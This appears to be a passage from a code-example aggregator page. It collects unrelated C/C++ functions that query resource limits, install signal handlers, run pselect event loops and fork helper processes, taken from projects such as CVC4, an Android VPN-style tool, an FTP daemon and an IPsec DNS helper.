  if ((d = opendir("/proc/self/fd"))) {
      struct dirent *de;

      while ((de = readdir(d))) {
          glong l;
          gchar *e = NULL;

          if (de->d_name[0] == '.')
              continue;

          errno = 0;
          l = strtol(de->d_name, &e, 10);
          if (errno != 0 || !e || *e)
              continue;

          fd = (gint) l;

          if ((glong) fd != l)
              continue;

          if (fd == dirfd(d))
              continue;

          if ((res = cb (data, fd)) != 0)
              break;
        }

      closedir(d);
      return res;
  }

  /* If /proc is not mounted or not accessible we fall back to the old
   * rlimit trick */

#endif

#ifdef HAVE_SYS_RESOURCE_H
  if (getrlimit(RLIMIT_NOFILE, &rl) == 0 && rl.rlim_max != RLIM_INFINITY)
      open_max = rl.rlim_max;
  else
#endif
      open_max = sysconf (_SC_OPEN_MAX);

  for (fd = 0; fd < open_max; fd++)
      if ((res = cb (data, fd)) != 0)
          break;

  return res;
}
示例#27
0
文件: util.cpp 项目: dddejan/CVC4
/** Initialize the driver.  Sets signal handlers for SIGINT and SIGSEGV. */
void cvc4_init()
{
#ifdef CVC4_DEBUG
  LastExceptionBuffer::setCurrent(new LastExceptionBuffer());
#endif

#ifndef __WIN32__
  struct rlimit limit;
  if(getrlimit(RLIMIT_STACK, &limit)) {
    throw Exception(string("getrlimit() failure: ") + strerror(errno));
  }
  if(limit.rlim_cur != limit.rlim_max) {
    limit.rlim_cur = limit.rlim_max;
    if(setrlimit(RLIMIT_STACK, &limit)) {
      throw Exception(string("setrlimit() failure: ") + strerror(errno));
    }
    if(getrlimit(RLIMIT_STACK, &limit)) {
      throw Exception(string("getrlimit() failure: ") + strerror(errno));
    }
  }

  struct sigaction act1;
  act1.sa_sigaction = sigint_handler;
  act1.sa_flags = SA_SIGINFO;
  sigemptyset(&act1.sa_mask);
  if(sigaction(SIGINT, &act1, NULL)) {
    throw Exception(string("sigaction(SIGINT) failure: ") + strerror(errno));
  }

  struct sigaction act2;
  act2.sa_sigaction = timeout_handler;
  act2.sa_flags = SA_SIGINFO;
  sigemptyset(&act2.sa_mask);
  if(sigaction(SIGXCPU, &act2, NULL)) {
    throw Exception(string("sigaction(SIGXCPU) failure: ") + strerror(errno));
  }

  struct sigaction act3;
  act3.sa_sigaction = ill_handler;
  act3.sa_flags = SA_SIGINFO;
  sigemptyset(&act3.sa_mask);
  if(sigaction(SIGILL, &act3, NULL)) {
    throw Exception(string("sigaction(SIGILL) failure: ") + strerror(errno));
  }

#ifdef HAVE_SIGALTSTACK
  stack_t ss;
  ss.ss_sp = (char*) malloc(SIGSTKSZ);
  if(ss.ss_sp == NULL) {
    throw Exception("Can't malloc() space for a signal stack");
  }
  ss.ss_size = SIGSTKSZ;
  ss.ss_flags = 0;
  if(sigaltstack(&ss, NULL) == -1) {
    throw Exception(string("sigaltstack() failure: ") + strerror(errno));
  }

  cvc4StackSize = limit.rlim_cur;
  cvc4StackBase = ss.ss_sp;

  struct sigaction act4;
  act4.sa_sigaction = segv_handler;
  act4.sa_flags = SA_SIGINFO | SA_ONSTACK;
  sigemptyset(&act4.sa_mask);
  if(sigaction(SIGSEGV, &act4, NULL)) {
    throw Exception(string("sigaction(SIGSEGV) failure: ") + strerror(errno));
  }
#endif /* HAVE_SIGALTSTACK */

  struct sigaction act5;
  act5.sa_sigaction = sigterm_handler;
  act5.sa_flags = SA_SIGINFO;
  sigemptyset(&act5.sa_mask);
  if (sigaction(SIGTERM, &act5, NULL))
  {
    throw Exception(string("sigaction(SIGTERM) failure: ") + strerror(errno));
  }

#endif /* __WIN32__ */

  set_unexpected(cvc4unexpected);
  default_terminator = set_terminate(cvc4terminate);
}
示例#28
0
void *handle_events(void *a) {
    int sdk;
    fd_set rfds;
    fd_set wfds;
    fd_set efds;
    struct timespec ts;
    sigset_t blockset;
    sigset_t emptyset;
    struct sigaction sa;

    struct arguments *args = (struct arguments *) a;
    log_android(ANDROID_LOG_WARN, "Start events tun=%d thread %x", args->tun, thread_id);

    // Attach to Java
    JNIEnv *env;
    jint rs = (*jvm)->AttachCurrentThread(jvm, &env, NULL);
    if (rs != JNI_OK) {
        log_android(ANDROID_LOG_ERROR, "AttachCurrentThread failed");
        return NULL;
    }
    args->env = env;

    // Get SDK version
    sdk = sdk_int(env);

    int maxsessions = 1024;
    struct rlimit rlim;
    if (getrlimit(RLIMIT_NOFILE, &rlim))
        log_android(ANDROID_LOG_WARN, "getrlimit error %d: %s", errno, strerror(errno));
    else {
        maxsessions = (int) (rlim.rlim_cur * 50 / 100);
        log_android(ANDROID_LOG_WARN, "getrlimit soft %d hard %d max sessions %d",
                    rlim.rlim_cur, rlim.rlim_max, maxsessions);
    }
    if (maxsessions > FD_SETSIZE)
        maxsessions = FD_SETSIZE;

    // Block SIGUSR1
    sigemptyset(&blockset);
    sigaddset(&blockset, SIGUSR1);
    sigprocmask(SIG_BLOCK, &blockset, NULL);

    /// Handle SIGUSR1
    sa.sa_sigaction = handle_signal;
    sigemptyset(&sa.sa_mask);
    sa.sa_flags = SA_RESTART;
    sigaction(SIGUSR1, &sa, NULL);

    // Terminate existing sessions not allowed anymore
    check_allowed(args);

    stopping = 0;
    signaled = 0;

    // Loop
    while (!stopping) {
        log_android(ANDROID_LOG_DEBUG, "Loop thread %x", thread_id);

        // Count sessions
        int isessions = get_icmp_sessions();
        int usessions = get_udp_sessions();
        int tsessions = get_tcp_sessions();
        int sessions = isessions + usessions + tsessions;

        // Check sessions
        check_icmp_sessions(args, sessions, maxsessions);
        check_udp_sessions(args, sessions, maxsessions);
        check_tcp_sessions(args, sessions, maxsessions);

        // https://bugzilla.mozilla.org/show_bug.cgi?id=1093893
        int idle = (tsessions + usessions + tsessions == 0 && sdk >= 16);
        log_android(ANDROID_LOG_DEBUG, "sessions ICMP %d UDP %d TCP %d max %d/%d idle %d sdk %d",
                    isessions, usessions, tsessions, sessions, maxsessions, idle, sdk);

        // Next event time
        ts.tv_sec = (sdk < 16 ? 5 : get_select_timeout(sessions, maxsessions));
        ts.tv_nsec = 0;
        sigemptyset(&emptyset);

        // Check if tun is writable
        FD_ZERO(&rfds);
        FD_ZERO(&wfds);
        FD_ZERO(&efds);
        FD_SET(args->tun, &wfds);
        if (pselect(args->tun + 1, &rfds, &wfds, &efds, &ts, &emptyset) == 0) {
            log_android(ANDROID_LOG_WARN, "tun not writable");
            continue;
        }

        // Select
        int max = get_selects(args, &rfds, &wfds, &efds);
        int ready = pselect(max + 1, &rfds, &wfds, &efds, idle ? NULL : &ts, &emptyset);

        if (ready < 0) {
            if (errno == EINTR) {
                if (stopping && signaled) { ;
                    log_android(ANDROID_LOG_WARN,
                                "pselect signaled tun %d thread %x", args->tun, thread_id);
                    report_exit(args, NULL);
                    break;
                } else {
                    log_android(ANDROID_LOG_DEBUG,
                                "pselect interrupted tun %d thread %x", args->tun, thread_id);
                    continue;
                }
            } else if (errno == EBADF) {
                if (is_valid_fd(args->tun)) {
                    log_android(ANDROID_LOG_ERROR, "pselect  error %d: %s", errno, strerror(errno));
                    report_exit(args, "pselect error %d: %s", errno, strerror(errno));
                    break;
                }
                else {
                    log_android(ANDROID_LOG_ERROR,
                                "tun socket %d select error %d: %s",
                                args->tun, errno, strerror(errno));
                    report_exit(args, "tun socket %d select error %d: %s",
                                args->tun, errno, strerror(errno));
                    break;
                }
            } else {
                log_android(ANDROID_LOG_ERROR,
                            "pselect tun %d thread %x error %d: %s",
                            args->tun, thread_id, errno, strerror(errno));
                report_exit(args, "pselect tun %d thread %x error %d: %s",
                            args->tun, thread_id, errno, strerror(errno));
                break;
            }
        }

        if (ready == 0)
            log_android(ANDROID_LOG_DEBUG, "pselect timeout");
        else {
            log_android(ANDROID_LOG_DEBUG, "pselect ready %d", ready);

            if (pthread_mutex_lock(&lock))
                log_android(ANDROID_LOG_ERROR, "pthread_mutex_lock failed");

#ifdef PROFILE_EVENTS
            struct timeval start, end;
            float mselapsed;
            gettimeofday(&start, NULL);
#endif

            // Check upstream
            int error = 0;
            if (check_tun(args, &rfds, &wfds, &efds, sessions, maxsessions) < 0)
                error = 1;
            else {
#ifdef PROFILE_EVENTS
                gettimeofday(&end, NULL);
                mselapsed = (end.tv_sec - start.tv_sec) * 1000.0 +
                            (end.tv_usec - start.tv_usec) / 1000.0;
                if (mselapsed > PROFILE_EVENTS)
                    log_android(ANDROID_LOG_WARN, "tun %f", mselapsed);

                gettimeofday(&start, NULL);
#endif

                // Check ICMP downstream
                check_icmp_sockets(args, &rfds, &wfds, &efds);

                // Check UDP downstream
                check_udp_sockets(args, &rfds, &wfds, &efds);

                // Check TCP downstream
                check_tcp_sockets(args, &rfds, &wfds, &efds);
            }

            if (pthread_mutex_unlock(&lock))
                log_android(ANDROID_LOG_ERROR, "pthread_mutex_unlock failed");

            if (error)
                break;

#ifdef PROFILE_EVENTS
            gettimeofday(&end, NULL);
            mselapsed = (end.tv_sec - start.tv_sec) * 1000.0 +
                        (end.tv_usec - start.tv_usec) / 1000.0;
            if (mselapsed > PROFILE_EVENTS)
                log_android(ANDROID_LOG_WARN, "sockets %f", mselapsed);
#endif
        }
    }

    (*env)->DeleteGlobalRef(env, args->instance);

    // Detach from Java
    rs = (*jvm)->DetachCurrentThread(jvm);
    if (rs != JNI_OK)
        log_android(ANDROID_LOG_ERROR, "DetachCurrentThread failed");

    // Cleanup
    free(args);

    log_android(ANDROID_LOG_WARN, "Stopped events tun=%d thread %x", args->tun, thread_id);
    thread_id = 0;
    return NULL;
}
示例#29
0
FILE *
ftpd_popen(char *program, char *type, int closestderr)
{
    register char *cp;
    FILE *iop;
    int argc,
      gargc,
      pdes[2],
      pid;
    char **pop,
     *argv[100],
     *gargv[1000],
     *vv[2];
    extern char **ftpglob(register char *v),
    **copyblk(register char **v),
     *strspl(register char *cp, register char *dp);

    if (*type != 'r' && *type != 'w' || type[1])
        return (NULL);

    if (!pids) {
#ifndef HAVE_GETDTABLESIZE
        struct rlimit rlp;

		rlp.rlim_cur = rlp.rlim_max = RLIM_INFINITY;
		if (getrlimit( RLIMIT_NOFILE, &rlp ) )
			return(NULL);
		fds = rlp.rlim_cur;
#else
        if ((fds = getdtablesize()) <= 0)
            return (NULL);
#endif

        if ((pids = (int *) malloc((u_int) (fds * sizeof(int)))) == NULL)
              return (NULL);
#ifdef USG
        (void) memset((char *)pids, fds * sizeof(int), 0);
#else
        bzero((char *) pids, fds * sizeof(int));
#endif
    }
    if (pipe(pdes) < 0)
        return (NULL);

    /* break up string into pieces */
    for (argc = 0, cp = program;; cp = NULL)
        if (!(argv[argc++] = strtok(cp, " \t\n")))
            break;

    /* glob each piece */
    gargv[0] = argv[0];
    for (gargc = argc = 1; argv[argc]; argc++) {
        if (!(pop = ftpglob(argv[argc]))) { /* globbing failed */
            vv[0] = strspl(argv[argc], "");
            vv[1] = NULL;
            pop = copyblk(vv);
        }
        argv[argc] = (char *) pop;  /* save to free later */
        while (*pop && gargc < 1000)
            gargv[gargc++] = *pop++;
    }
    gargv[gargc] = NULL;

    iop = NULL;
    switch (pid = vfork()) {
    case -1:                    /* error */
        (void) close(pdes[0]);
        (void) close(pdes[1]);
        goto pfree;
        /* NOTREACHED */
    case 0:                 /* child */
        if (*type == 'r') {
            if (pdes[1] != 1) {
                dup2(pdes[1], 1);
                if (closestderr)
                    (void) close(2);
                else 
                    dup2(pdes[1], 2);  /* stderr, too! */
                (void) close(pdes[1]);
            }
            (void) close(pdes[0]);
        } else {
            if (pdes[0] != 0) {
                dup2(pdes[0], 0);
                (void) close(pdes[0]);
            }
            (void) close(pdes[1]);
        }
        execv(gargv[0], gargv);
        _exit(1);
    }
    /* parent; assume fdopen can't fail...  */
    if (*type == 'r') {
        iop = fdopen(pdes[0], type);
        (void) close(pdes[1]);
    } else {
        iop = fdopen(pdes[1], type);
        (void) close(pdes[0]);
    }
    pids[fileno(iop)] = pid;

  pfree:for (argc = 1; argv[argc] != NULL; argc++) {
        blkfree((char **) argv[argc]);
        free((char *) argv[argc]);
    }
    return (iop);
}
示例#30
0
/*******************************************************************************
函数名称: ipsec_dpdns_init_helper
功能描述:  初始化dpdns守护进程
           读取域名数据库配置注册
           读取连接配置初始化连接
           初始化netlink套接字           
输入参数:
输出参数: 无
返 回 值: 无
--------------------------------------------------------------------------------
最近一次修改记录 :
修改作者: lidateng
修改目的: 
修改日期: 2013-12-26
*******************************************************************************/
void ipsec_dpdns_init_helper(void)
{
    int res = 0;
    pid_t pid;
    int fds[2] = {0};

    int start = ipsec_dpdns_start_is_on();
    if(start == 0)
    { 
        goto end;
    }
     
    if(socketpair(PF_UNIX, SOCK_STREAM, 0, fds) != 0) 
    {       
        return;
    }    
    g_ipsec_dpdns_ffd = fds[0]; 
     
    if((pid = fork()) < 0)
    {      
    }
    else if (pid == 0)
    {
        int fd = 0;
        int maxfd;
        struct rlimit nf;
        
        g_ipsec_dpdns_cfd = fds[1]; 

        if(getrlimit(RLIMIT_NOFILE, &nf) == -1) 
        {
             maxfd = 256;
        } 
        else 
        {
            maxfd = nf.rlim_max;
        }
        
        /*进程关闭不关心的文件描述符*/
        for(fd = 3; fd < maxfd; fd++) 
        {
            if((fd != fds[1]) && (fd != netlink_socket))
            {
                close(fd);
            } 
        }
     
        res = ipsec_dpdns_get_serialnum();
        if(res != 0)
        {
            return;
        } 
        
        ipsec_event_clear();
        ipsec_dpdns_cfg_clear(); /*清除域名配置*/
        ipsec_init_umc_path();  /*初始化umc地址*/
        
        ipsec_dpdns_req_to_umc(); /*发送域名推送请求*/ 
		init_netlink_socket();  	   /*初始化接口变换fd*/		 
        ipsec_dpdns_call_server(); /*守护进程主循环*/ 
        
    } 

    close(fds[1]);  
    
end:
	return;
}